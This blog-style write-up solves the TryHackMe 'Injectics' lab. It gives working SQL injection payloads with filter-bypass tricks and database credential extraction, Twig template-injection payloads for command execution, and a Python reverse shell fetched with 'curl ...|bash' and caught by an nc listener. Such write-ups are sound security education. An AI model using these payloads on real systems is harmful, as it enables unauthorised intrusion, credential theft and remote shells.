Post

TryHackMe: Injectics

Injectics started with using an SQL injection to bypass a login form and land on a page where we were able to edit some data. Also, by discovering another SQL injection with edit functionality, we were able to extract some credentials from the database. Using them, we were able to login to the admin panel. There, we discovered a server-side template injection vulnerability that allowed us to execute commands on the machine. Using this, we were able to get a shell, read the second flag, and complete the room.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.126.152
Nmap scan report for 10.10.126.152
Host is up (0.093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:03:b2:6d:7d:22:60:b9:31:36:e7:60:3e:5b:86:f2 (RSA)
|   256 61:2d:6d:13:58:a5:ae:bc:88:50:2b:1f:ba:7b:1d:67 (ECDSA)
|_  256 b0:66:fb:4f:dd:d1:f2:b7:77:9f:55:b0:9d:af:48:03 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Injectics Leaderboard
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two ports open:

  • 22/SSH
  • 80/HTTP

WEB 80

Visiting the http://10.10.126.152/, we get a page about Injectics 2024.

Web 80 Index

While many other buttons in the header doesn’t work. The Login button links to http://10.10.126.152/login.php, where we see a login form.

Web 80 Login

Apart from the login form, it also links to http://10.10.126.152/adminLogin007.php with the Login as Admin button, where we get another login form. Presumably for admin access.

Web 80 Admin Login

Bypassing the Login

Checking the source code for http://10.10.126.152/login.php, we see a script being included from /script.js.

Web 80 Login Source

Looking at http://10.10.126.152/script.js, we see a client-side filter for SQL injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$("#login-form").on("submit", function(e) {
    e.preventDefault();
    var username = $("#email").val();
    var password = $("#pwd").val();

	const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
            for (let keyword of invalidKeywords) {
                if (username.includes(keyword)) {
                    alert('Invalid keywords detected');
                   return false;
                }
            }

    $.ajax({
        url: 'functions.php',
        type: 'POST',
        data: {
            username: username,
            password: password,
            function: "login"
        },
        dataType: 'json',
        success: function(data) {
            if (data.status == "success") {
                if (data.auth_type == 0){
                    window.location = 'dashboard.php';
                }else{
                    window.location = 'dashboard.php';
                }
            } else {
                $("#messagess").html('<div class="alert alert-danger" role="alert">' + data.message + '</div>');
            }
        }
    });
});

Upon submitting the form, if the username includes any of the blacklisted strings, it returns false. Otherwise, it makes a POST request to /functions.php and, depending on the response, redirects to /dashboard.php or displays the message returned.

We can use BurpSuite to send the requests directly to bypass it.

Trying to bypass it with the payload ' OR 1=1;-- -, it fails. So, there might also be a server-side filter.

Web 80 Login SQLI One

If we try to use || instead of OR in our payload, we see that works.

Web 80 Login SQLI Two

After bypassing the login, we gain access to http://10.10.126.152/dashboard.php.

Web 80 Dashboard

Logging in to The Admin Panel

Discovering the SQL injection in Edit

Clicking the Edit button for any of the countries, we get redirected to http://10.10.126.152/edit_leaderboard.php?rank=1&country=USA, where we can edit the medal counts for a country.

Web 80 Edit Leaderboard Entry

Editing the gold medal count, we see the POST request is made like this:

Web 80 Edit Leaderboard

While we are able to edit the medal counts, the country name is not updated.

Web 80 Leaderboard Update

Changing the rank from 1 to 2, we see that we updated the second entry.

Web 80 Edit Leaderboard Two

Web 80 Leaderboard Update Two

This means that if our input is used to update the database, the query is probably something like:

  • UPDATE <table_name> SET gold=1,silver=21,bronze=12345 WHERE `rank`=1;

The reason for ` around rank is due to a conflict with the rank() function in MySQL. We use ` to indicate it is a column name. 

We can try to confirm this with a payload like this:

  • gold=555 WHERE `rank`=3;-- -

So, the query becomes:

  • UPDATE <table_name> SET gold=555 WHERE `rank`=3;-- -,silver=21,bronze=12345 WHERE `rank`=1;

Web 80 Edit Leaderboard Three

We can see that this works.

Web 80 Leaderboard Update Three

Now that we have confirmed the SQL injection, we can start looking for ways to extract data.

Extracting the Credentials

If we try to update any of the medal counts with a string instead of an integer to be able to extract data from the database, we see that it fails.

Web 80 Edit Leaderboard Four

Instead of the medal counts, we can try to update any other columns that might hold a string like country, with a payload like this: 

  • gold=1,country="TEST"

So, the query to the database becomes:

  • UPDATE <table_name> SET gold=1,country="TEST",silver=21,bronze=12345 WHERE `rank`=1;

Web 80 Edit Leaderboard Five

We can see that we were able to update the country name with a string. Now, we have a way to extract data from the database.

Web 80 Leaderboard Update Five

Trying to extract the database names with the payload:

  • gold=1,country=(SELECT group_concat(schema_name) from information_schema.schemata)

We see that this fails with the Error updating data. message.

Web 80 Edit Leaderboard Six

There might be a filter messing with our query. We can test how our query reaches the database by setting it as the country name. For that, we will use the payload:

  • gold=1,country="(SELECT group_concat(schema_name) from information_schema.schemata)"

Web 80 Edit Leaderboard Seven

We can see that the updated country name is:

  • ( group_concat(schema_name) from infmation_schema.schemata)

Web 80 Leaderboard Update Seven

With this result, we can tell the filter on the server must be replacing some keywords in our input before making the query to the database. Like SELECT and or.

We can test which words we will use while extracting the database are filtered with a payload like this:

  • gold=1,country="SELECT OR AND group_concat FROM WHERE '"

Web 80 Edit Leaderboard Filter

We end up with: group_concat FROM WHERE '. So, SELECT,OR and AND must be filtered.

Web 80 Leaderboard Update Filter

Looking for ways to bypass the filter, we can test if the replacement is recursive with the payload:

  • gold=1,country="SESELECTLECT"

Web 80 Edit Leaderboard Eight

The country name ends up being SELECT. So, the replacement is not recursive; we can use this to bypass the filter.

  • SESELECTLECT -> SE[SELECT]LECT -> SELECT

Web 80 Leaderboard Update Eight

Now that we have a way to bypass the filter, we can modify our query from before to extract the database names like this:

  • gold=1,country=(seSELECTlect group_concat(schema_name) from infoORrmation_schema.schemata) ->
  • gold=1,country=(se[SELECT]lect group_concat(schema_name) from info[OR]rmation_schema.schemata) ->
  • gold=1,country=(select group_concat(schema_name) from information_schema.schemata)

Web 80 Edit Leaderboard Nine

We get the database names.

  • mysql,information_schema,performance_schema,sys,phpmyadmin,bac_test

Web 80 Leaderboard Update Nine

We can get the table names for the bac_test database with the payload:

  • gold=1,country=(seSELECTlect group_concat(table_name) from infoORrmation_schema.tables WHERE table_schema='bac_test')

Web 80 Edit Leaderboard Ten

There are two tables: leaderboard and users.

Web 80 Leaderboard Update Ten

Getting the column names for the bac_test.users table.

  • gold=1,country=(seSELECTlect group_concat(column_name) from infoORrmation_schema.columns WHERE table_name='users' aANDnd table_schema='bac_test')

Web 80 Edit Leaderboard Eleven

We get the column names.

  • auth,email,fname,lname,password,reset_token

Web 80 Leaderboard Update Eleven

We can get the email and password columns from the users table with:

  • gold=1,country=(seSELECTlect group_concat(email,':',passwoORrd) from bac_test.users)

Web 80 Edit Leaderboard Twelve

With this, we get two sets of credentials.

Web 80 Leaderboard Update Twelve

Using any of them, we are able to login at http://10.10.126.152/adminLogin007.php and get the first flag.

Web 80 Dashboard Flag

RCE via SSTI

After logging in, we see the Profile button on the header, which links to http://10.10.126.152/update_profile.php, where we can update our first and last names

Web 80 Update Profile

Updating our profile like so:

Web 80 Update Profile Two

Now, visiting http://10.10.126.152/dashboard.php, we can see the first name being reflected on the page.

Web 80 Dashboard Two

Trying a simple SSTI payload with the first name like this:

  • {{8*8}}

Web 80 Update Profile Three

We can see that it works as the first name displayed as 64.

Web 80 Dashboard Three

Since the application uses PHP, there is a great chance it uses the Twig templating engine. We can confirm this by using the payload:

  • {{['id']|filter('system')}}

Web 80 Update Profile Four

The error we receive is specific to Twig.

Web 80 Dashboard Four

Looking for other known payloads we can use to execute code in Twig, we find {{['id',""]|sort('system')}} here.

Web 80 Update Profile Five

Updating our first name with the payload and checking the dashboard, we get an error about system being disabled.

Web 80 Dashboard Five

Checking other functions, we can use to execute commands like exec, shell_exec, passthru. We see that we are able to execute commands using passthru with the payload:

  • {{['id',""]|sort('passthru')}}

Web 80 Update Profile Six

Web 80 Dashboard Six

We can use this to gain a shell on the machine.

First, we are starting an HTTP server to serve our reverse shell payload.

1
2
3
4
5
$ cat index.html
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.72.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'                                     

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now we can run the command 'curl 10.11.72.22|bash' using the {{['curl 10.11.72.22|bash',""]|sort('passthru')}} payload.

Web 80 Update Profile Seven

After visiting the http://10.10.126.152/dashboard.php page, we see the machine fetching the script from our HTTP server, and we get a shell on our listener.

1
2
3
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.126.152 - - [29/Jul/2024 02:29:24] "GET / HTTP/1.1" 200 -
1
2
3
4
5
6
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.126.152] 54032
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Checking the /var/www/html directory, we find the flags directory.

1
2
3
4
www-data@injectics:/var/www/html$ ls -la
...
drwxrwxr-x 2 ubuntu ubuntu   4096 Jul 18 14:58 flags
...

Inside the /var/www/html/flags/ directory, we find a text file with the flag inside, and by reading it, we are able to complete the room.

1
2
3
4
5
www-data@injectics:/var/www/html$ cd flags
www-data@injectics:/var/www/html/flags$ ls -la 5d[REDACTED]48.txt
-rw-rw-r-- 1 ubuntu ubuntu 38 Jul 18 14:58 5d[REDACTED]48.txt
www-data@injectics:/var/www/html/flags$ wc -c 5d[REDACTED]48.txt
38 5d[REDACTED]48.txt
This post is licensed under CC BY 4.0 by the author.